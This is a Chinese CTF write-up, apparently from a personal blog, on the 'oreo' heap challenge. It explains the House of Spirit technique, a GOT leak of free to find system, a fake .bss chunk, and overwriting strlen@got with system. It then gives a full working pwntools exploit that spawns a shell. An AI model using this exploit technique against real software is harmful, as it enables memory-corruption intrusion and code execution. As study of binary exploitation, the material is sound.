题目是这样shai的
大概是个枪支商店,可以添加枪支,释放枪支,展示枪支信息,留言等等
然后这个例题难度主要是在逆向分析上,很令人恼火(
然后说一下house of sprit攻击手法
主要是有一个目标区域我们没办法控制,但是这个区域之前和之后的区域我们可以控制,我们控制区域之前主要是为了来伪造chunk的size,让其绕过检查机制,控制目标区域之后的位置主要是伪造the next chunk的size,next chunk 的大小不能小于 2 * SIZE_SZ(两个字长),同时也不能大于av->system_mem,然后还有类似与那种检查size位的ISMMAP位等容易满足的检查,我直接放个wiki上的图,方便以后复习用。
我是懒狗,不截图了,直接大致说说整体的思路好了
add功能:
添加枪支结构体,我们可以输入名字和描述,在名字的位置的地方可以进行堆溢出,覆盖最后一个字长,最后一个字长存储上一个chunk的地址。
show功能:
本题目没有后门,我们只能泄露libc基址来拿到system地址,我们选择free函数来泄露即可,由于延迟绑定机制,我们提前申请和释放一个堆块来处理。通过show的打印功能,我们可得到free@got,进而得到system地址。
free功能:
从最后一个堆块开始,依次向前free所有堆块。这里的话我们伪造的chunk不在链表的最后部位,即程序无法检测到double free,可以放心的van~
message功能:
可以写入留言信息,message指针位于bss段,同时指向bss段某个位置,我们可以写入留言,然后立即调用strlen函数进行一些检查,那么我们可以考虑在message指针这个部位伪造一个chunk,修改message指针到strlen函数的地址,然后我们写入system的地址,这样函数就给我们调用system了。
综上所述,泄露system地址,然后利用heap overflow伪造一个bss_chunk,然后我们free。(值得一提的是,我们在这之前,bss_chunk_data指针-0x4的位置应该是伪造的chunk的size域,而这个地方恰好是记录了我们add了多少次chunk的变量,所以在exp里我们用了一个for循环来申请chunk,使其变为0x40,来伪造其size。之后我们可以用message功能,编辑信息,伪造next chunk的size。)free之后我们malloc,就得到了一个可控指针,我们劫持strlen函数改为system,传入参数";/bin/sh\x00",举个例子,system("ls;/bin/sh")相当于分别传入参数ls和binsh,大概就是这个原理,直接写exp
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('./libc.so.6')
p = process('./oreo')
elf = ELF('./oreo')
#context.log_level = 'debug'
def add(name,description):
#p.recvuntil('Action: ')
p.sendline('1')
#p.recvuntil('Rifle name: ')
p.sendline(name)
#p.recvuntil('Rifle description: ')
#pause()
p.sendline(description)
def show():
#p.recvuntil('Action: ')
p.sendline('2')
def free():
#p.recvuntil('Action: ')
p.sendline('3')
def edit_message(message):
#p.recvuntil('Action: ')
p.sendline('4')
#p.recvuntil('Enter any notice you\'d like to submit with your order: ')
p.sendline(message)
def show_current():
#p.recvuntil('Action: ')
p.sendline('5')
print "===================================="
print 'step1: leak libc'
add('a','b')
free()
name = 'A' * 27 + p32(elf.got['free'])
#print 'name:' + name
description = 'A' * 25
add(name,description)
show()
p.recvuntil(25*'A')
p.recvuntil('Description: ')
free_addr = u32(p.recvuntil('\n',drop = True)[0:4])
print 'free_address: ' + hex(free_addr)
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
print 'system_addr: ' + hex(system_addr)
print "===================================="
print 'step2: alloc to bss'
# add 0x40 to change the newtimes which replace the size to bypass check
for i in range(0x40 - 0x2 - 0x1):
add('a'*27 + p32(0),'b')
message_pointer = 0x0804a2a8 # fake chunk
payload = 27*'A' + p32(message_pointer)
add(payload,'a')
payload = (0x38 - (0x0804a2c0 - 0x0804a2a8) - 0x4) * 'A' + 0x4 * '\x00' + 'aaaa' + p32(0x100) # in order to bypass the next chunk size check
edit_message(payload)
free()
print "======================================"
print 'step3: attack func "strlen" to get shell'
payload = p32(elf.got['strlen'])
add('hack',payload)
edit_message(p32(system_addr) + ';/bin/sh\x00')
p.interactive()
拿shell,很奈斯
我太菜了